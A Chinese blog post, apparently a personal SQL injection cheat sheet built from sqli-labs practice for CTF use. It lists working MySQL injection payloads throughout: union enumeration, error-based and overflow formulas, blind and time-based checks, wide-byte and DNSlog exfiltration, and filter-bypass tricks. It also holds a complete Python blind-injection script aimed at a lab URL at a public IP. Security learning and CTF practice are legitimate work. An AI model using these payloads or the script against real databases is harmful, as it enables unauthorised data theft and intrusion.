SQL注入备忘录

SQL注入备忘录

最近在用sql-lib学sql注入,零零散散的笔记整了一大堆,现在整合一下,做个备忘录,方便比赛的时候方便查询。

典中典版本:

爆库版本: ?id=-1' union select 1,database(),3--+
爆库: ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
爆表: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#
爆字段: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#
这几个出来了,剩下的就不用我说了吧qwq

常用函数:

名称 作用
system_user() 系统用户名
user() 用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

报错注入:

extractvalue函数

都会,不解释了。
公式:extractvalue(数字,concat(0x7e,(查询语句),0x7e))

updatexml函数

都会,不解释了。
公式:updatexml(数字,concat(0x7e,(查询语句),0x7e),数字)

溢出报错

exp函数溢出 | mysql>5.5.53

原理:当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误,用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出。

1
2
3
4
5
6
7
8
9
10
11
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

mysql> select exp(~(select * from(select version())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.44-0ubuntu0.14.04.1' from dual)))'
mysql>

公式:select exp(~(select * from(查询语句)x));
支持load_file,最多13行

BIGINT溢出

差不多同样的原理,可以报错
公式:select 1+~(select*from(查询语句)x);
同理,其他的函数也可以这么干:

1
2
3
select !atan((select*from(查询语句)a))-~0;
select !ceil((select*from(查询语句)a))-~0;
select !floor((select*from(查询语句)a))-~0;

其他能利用的函数…

1
2
3
4
5
6
7
8
9
10
11
12
13
HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN
EXP
...

group by 注入 | 表中的数据至少要为三条才可以注入成功

原理:group_by注入

公式:select count(*) from information_schema.tables group by concat((查询语句),floor(rand()*2));
效率比较低qwq而且还有猜错的可能

无select注入 | MySQL 8

浅谈利用mysql8新特性进行SQL注入
脚本搬到这里了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
'''
import requests
import string

url = 'http://121.41.231.75:8002/Less-8/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"

def current_db(url):
print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
print("请输入序号:",end='')
num = int(input())
if num == 1:
payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改)
urls = url + payload
r = requests.get(url=urls)
print(r.text)
else:
name=''
payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
for i in range(1,40):
char=''
for j in chars:
payloads = payload.format(i,ord(j))
urls = url + payloads
r = requests.get(url=urls)
if "You are in" in r.text:
name += j
print(name)
char = j
break
if char == '':
break

def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res

def dbs(url): #无列名盲注爆所有数据库(可修改)
while True:
print("请输入要爆第几个数据库,如:1,2等:",end='')
x = int(input())-1
num = str(x)
if x < 0:
break
payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
for i in range(0,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(database[-1])+1)
database = database[0:-1]+char
payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆数据表') #判断开始行数
n = i
break
return n

def tables(url,database,n): #无列名盲注爆数据表(可修改)
while True:
print("请输入要爆第几个数据表,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
for i in range(3000,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(table[-1])+1)
table = table[0:-1]+char
payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆字段') #判断开始行数
n = i
break
return n

def columns(url,database,table,n): #无列名盲注爆字段值(可修改)
while True:
print("请输入要爆第几个字段,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def datas(url,table): #无列名盲注爆数据(可修改)
while True:
print("请输入要爆第几个数据,如:1,2等:",end='')
x = int(input())
y = x-1
num = str(y)
if y < 0:
break
payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

if __name__ == "__main__":
while True:
print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
types = int(input())
if types == 1:
current_db(url)
elif types == 2 or types == 3:
print("请输入已经得到的数据库名:",end='')
database = input()
if types == 2:
tables_n(url,database)
elif types == 3:
print("爆数据表开始行号:",end='')
n = int(input())
tables(url,database,n)
elif types == 4 or types == 5:
print("请输入已经得到的数据库名:",end='')
database = input()
print("请输入已经得到的数据表名:",end='')
table = input()
if types == 4:
columns_n(url,database,table)
elif types == 5:
print("爆字段值开始行号:",end='')
n = int(input())
columns(url,database,table,n)
elif types == 6:
print("请输入要查询的数据表名:",end='')
table = input()
datas(url,table)
else:
dbs(url)

时间盲注

原理都会,不讲了。

ascii判断:if(ascii(substr(查询语句,1,1))>115,1,sleep(3))
left语句判断:if(left(查询语句,1)='s',sleep(10),1)
if(left(查询语句,2)='sa',sleep(10),1)
substring函数判断:if(substring((查询语句),1,1='a'),11111,sleep(1))

布尔注入

同时间盲注,没啥东西

二次注入

也没啥太多活能整,可以使用flask框架本地中转一下,把繁琐的步骤交给机器做。

堆叠注入

能同时执行多条语句,要求比较高,这时候可以使用预编译了。
可以参考这题整花活**[强网杯 2019]随便注**
BUUCTF[强网杯 2019]随便注 的三种解法

Dnslog注入

要求mysql权限比较高,同时还得能出网
公式:select load_file(concat('\\',(查询语句),'.DNSLOG给的域名/任意字符'

搜索注入

原理:mysql查询的时候,常用的是select * from sqltest where names like '%要查询的关键字%
这时候就可以闭合%然后注入

宽字节注入 |使用了addslashes()函数 && 数据库设置了编码模式为GBK

原理: 前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞。

1
2
3
4
5
?id=%df' and 1=1 --+

?id=%df' and 1=2 --+

?id=-1%df' union select 1,2,3 %23

limit注入 | 数据库版本比较低

原理:Mysql下Limit注入方法
公式:SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,查询语句)),1);

Bypass

空格

两个空格代替一个空格,用Tab代替空格,%a0=空格,括号代替空格,注释/*注释*/

引号 | 十六进制

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name from information_schema.tables where table_name=0x7573657273

逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

使用join:

union select 1,2#

等价于 union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 #

等价于 select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1 #

等价于下面这条SQL语句 select * from news limit 1 offset 0

绕过比较符号()

(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

Between注入

主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常

between 1 and 1; 等价于 =1

WHERE

可以使用having ,但是having只能用前面select已经选择的列名

1
2
select goods_price,goods_name from sw_goods where goods_price > 100
select goods_price,goods_name from sw_goods having goods_price > 100

过滤information_schema

可以查表名:

  1. InnoDb引擎
    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。只需要把infromation_schema换成mysql.innodb_table_stats
  2. sys数据库
    在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。只需要把information_schema换成sys.schema_auto_increment_columns就行了,其他的完全一样
    聊一聊bypass information_schema
    之后就需要无列名注入了

SLEEP

睡不了?就想办法让sql干重活慢下来
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

or and xor not绕过:

and=&& or=|| xor=| not=!

绕过注释符

(#,–(后面跟一个空格))过滤:

id=1' union select 1,2,3||'1

最后的or ‘1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

绕过等于号

使用like 、rlike 、regexp 或者 使用< 或者 >

其他的bypass手段:

这个就看题目环境了,题目里随机多样,但是万变不离其宗。

Tircks

group by..with rollup - [SWPU2019]Web6

题目来源: [SWPU2019]Web6

此题开始进行sql注入,但是经过测试能发现注入点过滤很严格,使用with rollup产生一个NULL NULL的数据,然后用直接登陆即可

Sqlmap科技

未完待续

相关链接:

Sqli通关
flask框架
exp函数溢出注入
MySQL注入指北
group_by注入
group_by报错注入
BIGINT报错注入
SQL注入关联分析
浅谈利用mysql8新特性进行SQL注入
SQL注入之无列名注入
group by..with rollup学习实例

作者

UPON2021

发布于

2022-10-15

更新于

2023-04-19

许可协议

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...